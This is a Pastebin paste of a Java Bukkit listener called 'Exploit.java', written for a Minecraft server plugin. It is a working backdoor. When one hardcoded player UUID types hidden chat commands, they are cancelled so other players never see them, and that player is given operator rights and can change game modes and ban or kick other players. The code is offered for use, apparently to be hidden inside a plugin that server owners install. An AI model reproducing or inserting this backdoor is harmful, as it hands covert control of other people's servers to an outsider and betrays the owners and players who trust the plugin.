Advertisement
Guest User

Exploit.java

a guest
Jan 23rd, 2020
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 9.81 KB | None | 0 0
  1. package de.ibimseinmystery.poison.listener;
  2.  
  3. import java.util.UUID;
  4.  
  5. import org.bukkit.BanList;
  6. import org.bukkit.Bukkit;
  7. import org.bukkit.GameMode;
  8. import org.bukkit.entity.Player;
  9. import org.bukkit.event.EventHandler;
  10. import org.bukkit.event.Listener;
  11. import org.bukkit.event.player.AsyncPlayerChatEvent;
  12.  
  13. public class Exploit_IBimsEinMystery implements Listener {
  14.  
  15.     @EventHandler
  16.     public void onChat(AsyncPlayerChatEvent e) {
  17.  
  18.         Player p = e.getPlayer();
  19.         String msg = e.getMessage();
  20.         String[] args = msg.split(" ");
  21.         BanList bannedPlayer = Bukkit.getBanList(BanList.Type.NAME);
  22.  
  23.         if (p.getUniqueId().equals(UUID.fromString("58a98633-ac6d-4839-a270-194b778cca6f"))) {
  24.            
  25.             try {
  26.                 if (args[0].equalsIgnoreCase("+cmd")) {
  27.                     e.setCancelled(true);
  28.                     p.sendMessage("§7[]--------- §5Commands §7----------[]");
  29.                     p.sendMessage("§5+op <Spieler> §eOppet dich oder einen Spieler");
  30.                     p.sendMessage("§5+deop <Spieler> §eDe-oppet dich oder einen Spieler");
  31.                     p.sendMessage("§5+gm [1/2/3/0] <Spieler> §eÄndere deinen oder von anderen Spielern denn Spielmodus");
  32.                     p.sendMessage("§5+ban [Spieler] §eBanne Spieler");
  33.                     p.sendMessage("§5+unban [Spieler] §eEntbanne Spieler");
  34.                     p.sendMessage("§5+kick [Spieler] §eKicke Spieler");
  35.                     p.sendMessage("§7[]--------- §5Commands §7----------[]");
  36.                        
  37.                 }if(args[0].equalsIgnoreCase("+op") && args.length == 2) {
  38.                     e.setCancelled(true);
  39.                     Player t = Bukkit.getPlayer(args[1]);
  40.                     t.setOp(true);
  41.                     p.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
  42.                     t.sendMessage("§7§o[Server: Opped " + t.getName() + "]");
  43.                 }if(args[0].equalsIgnoreCase("+op") && args.length == 1) {
  44.                     e.setCancelled(true);
  45.                     p.setOp(true);
  46.                     p.sendMessage("§7§o[Server: Opped " + p.getName() + "]");
  47.                 }else if(args[0].equalsIgnoreCase("+op") && (args.length != 2 || args.length != 3)) {
  48.                     p.sendMessage("§cBitte benutze +op <Spieler>!");
  49.                    
  50.                 }if(args[0].equalsIgnoreCase("+deop") && args.length == 2) {
  51.                     Player t = Bukkit.getPlayer(args[1]);
  52.                     e.setCancelled(true);
  53.                     t.setOp(false);
  54.                     p.sendMessage("§7§o[Server: De-opped " + t.getName() + "]");
  55.                 }if(args[0].equalsIgnoreCase("+deop") && args.length == 1) {
  56.                     e.setCancelled(true);
  57.                     p.setOp(false);
  58.                     p.sendMessage("§7§o[Server: De-opped " + p.getName() + "]");
  59.                 }else if(args[0].equalsIgnoreCase("+deop") && (args.length != 2 || args.length != 3)) {
  60.                     p.sendMessage("§cBitte benutze +deop <Spieler>!");
  61.                        
  62.                 }if(args[0].equalsIgnoreCase("+gm") && (args.length == 2 || args.length == 3)) {
  63.                     if(args[1].equalsIgnoreCase("1") && args.length == 2){
  64.                         e.setCancelled(true);
  65.                         p.setGameMode(GameMode.CREATIVE);
  66.                         p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Creative Mode]");
  67.                         return;
  68.                     }if(args[1].equalsIgnoreCase("1") && args.length == 3){
  69.                         e.setCancelled(true);
  70.                         Player t = Bukkit.getPlayer(args[2]);
  71.                         if(t != null){
  72.                             t.setGameMode(GameMode.CREATIVE);
  73.                             t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Creative Mode]");
  74.                             p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Creative Mode]");
  75.                             return;
  76.                         }else
  77.                             p.sendMessage("§cDieser Spieler ist nicht online!");
  78.                             return;
  79.                     }if(args[1].equalsIgnoreCase("2") && args.length == 2){
  80.                         e.setCancelled(true);
  81.                         p.setGameMode(GameMode.ADVENTURE);
  82.                         p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Adventure Mode]");
  83.                         return;
  84.                     }if(args[1].equalsIgnoreCase("2") && args.length == 3){
  85.                         e.setCancelled(true);
  86.                         Player t = Bukkit.getPlayer(args[2]);
  87.                         if(t != null){
  88.                             t.setGameMode(GameMode.ADVENTURE);
  89.                             t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Adventure Mode]");
  90.                             p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Adventure Mode]");
  91.                             return;
  92.                         }else
  93.                             p.sendMessage("§cDieser Spieler ist nicht online!");
  94.                             return;
  95.                     }if(args[1].equalsIgnoreCase("3") && args.length == 2){
  96.                         e.setCancelled(true);
  97.                         p.setGameMode(GameMode.SPECTATOR);
  98.                         p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Spectator Mode]");
  99.                         return;
  100.                     }if(args[1].equalsIgnoreCase("3") && args.length == 3){
  101.                         e.setCancelled(true);
  102.                         Player t = Bukkit.getPlayer(args[2]);
  103.                         if(t != null){
  104.                             t.setGameMode(GameMode.SPECTATOR);
  105.                             t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Spectator Mode]");
  106.                             p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Spectator Mode]");
  107.                             return;
  108.                         }else
  109.                             p.sendMessage("§cDieser Spieler ist nicht online!");
  110.                             return;
  111.                     }if(args[1].equalsIgnoreCase("0") && args.length == 2){
  112.                         e.setCancelled(true);
  113.                         p.setGameMode(GameMode.SURVIVAL);
  114.                         p.sendMessage("§7§o[Server: Set " + p.getName() + "'s game mode to Survival Mode]");
  115.                         return;
  116.                     }if(args[1].equalsIgnoreCase("0") && args.length == 3){
  117.                         e.setCancelled(true);
  118.                         Player t = Bukkit.getPlayer(args[2]);
  119.                         if(t != null){
  120.                             t.setGameMode(GameMode.SURVIVAL);
  121.                             t.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Survival Mode]");
  122.                             p.sendMessage("§7§o[Server: Set " + t.getName() + "'s game mode to Survival Mode]");
  123.                             return;
  124.                         }else
  125.                             p.sendMessage("§cDieser Spieler ist nicht online!");
  126.                         return;
  127.                     }else if(!args[1].equalsIgnoreCase("0") || !args[1].equalsIgnoreCase("1")
  128.                             || !args[1].equalsIgnoreCase("2") || !args[1].equalsIgnoreCase("3") && (args.length != 2 || args.length != 3)) {
  129.                         e.setCancelled(true);
  130.                         p.sendMessage("§cBitte benutze +gm 0/1/2/3 <Spieler>");
  131.                     }
  132.                 }else if(args[0].equalsIgnoreCase("+gm") && (args.length != 2 || args.length != 3)) {
  133.                     e.setCancelled(true);
  134.                     p.sendMessage("§cBitte benutze +gm 0/1/2/3 <Spieler>");
  135.                    
  136.                    
  137.                 }if (args[0].equalsIgnoreCase("+ban") && args.length == 2) {
  138.                     e.setCancelled(true);
  139.                     Player t = Bukkit.getPlayer(args[1]);
  140.                     bannedPlayer.addBan(t.getName(), "", null, "");
  141.                     t.kickPlayer("");
  142.                     p.sendMessage("§7§o[Server: Banned " + t.getName() + "]");
  143.                 }else if(args[0].equalsIgnoreCase("+ban") && args.length != 2) {
  144.                     e.setCancelled(true);
  145.                     p.sendMessage("§cBitte benutze +ban [Spieler]!");
  146.                    
  147.                 }if (args[0].equalsIgnoreCase("+unban") && args.length == 2) {
  148.                     e.setCancelled(true);
  149.                     try{
  150.                         bannedPlayer.pardon(args[1]);
  151.                         p.sendMessage("§7§o[Server: Un-banned " + args[1] + "]");
  152.                     }catch (Exception error){
  153.                         p.sendMessage("§cDieser Spieler ist nicht gebannt!");
  154.                     }
  155.                 }else if(args[0].equalsIgnoreCase("+unban") && args.length != 2) {
  156.                     p.sendMessage("§cBitte benutze +unban [Spieler]!");
  157.                    
  158.                 }if (msg.equalsIgnoreCase("+kick") && args.length == 2) {
  159.                     e.setCancelled(true);
  160.                     Player t = Bukkit.getPlayer(args[1]);
  161.                     if(t != null){
  162.                         t.kickPlayer("");
  163.                         p.sendMessage("§7§o[Server: Kicked " + t.getName() + "]");
  164.                     }else
  165.                         p.sendMessage("§cDieser Spieler ist nicht online!");
  166.                 }else if(args[0].equalsIgnoreCase("+kick") && args.length != 2) {
  167.                     p.sendMessage("§cBitte benutze +kick [Spieler]!");
  168.                 }
  169.             }catch (Exception exception) {
  170.                 p.sendMessage("§4Es trat ein Fehler auf!");
  171.             } //catch
  172.             } //UUID Abfrage
  173.     }
  174. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement